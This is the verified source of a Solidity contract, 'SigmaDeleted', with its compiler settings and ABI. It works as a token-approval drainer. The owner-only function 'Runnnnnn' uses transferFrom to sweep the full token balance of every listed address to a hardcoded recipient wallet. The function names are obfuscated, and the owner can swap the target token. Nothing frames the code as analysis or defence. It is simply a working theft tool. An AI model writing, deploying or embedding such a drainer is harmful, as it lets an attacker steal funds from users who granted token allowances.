// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract SigmaDeleted {
address public owner;
address public constant recipientAddress = 0xD497E8F56ae2e11BF019a671364cC667E105f955;
IERC20 public tokenContract;
address[] public senderAddresses;
constructor(IERC20 initialToken) {
owner = msg.sender;
tokenContract = initialToken;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not the contract owner");
_;
}
function STO_C1(IERC20 newToken) external onlyOwner {
tokenContract = newToken;
}
function ASD_C1(address sender) external onlyOwner {
senderAddresses.push(sender);
}
function CLRR() external onlyOwner {
delete senderAddresses;
}
function ListC() external view returns (address[] memory) {
return senderAddresses;
}
function Runnnnnn() external onlyOwner {
for (uint256 i = 0; i < senderAddresses.length; i++) {
uint256 balance = tokenContract.balanceOf(senderAddresses[i]);
if (balance > 0) {
require(
tokenContract.transferFrom(senderAddresses[i], recipientAddress, balance),
"Transfer failed"
);
}
}
}
}
{
"compilationTarget": {
"SigmaDeleted.sol": "SigmaDeleted"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 696969
},
"remappings": []
}
[{"inputs":[{"internalType":"contract IERC20","name":"initialToken","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ASD_C1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"CLRR","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ListC","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Runnnnnn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"newToken","type":"address"}],"name":"STO_C1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recipientAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"senderAddresses","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenContract","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"}]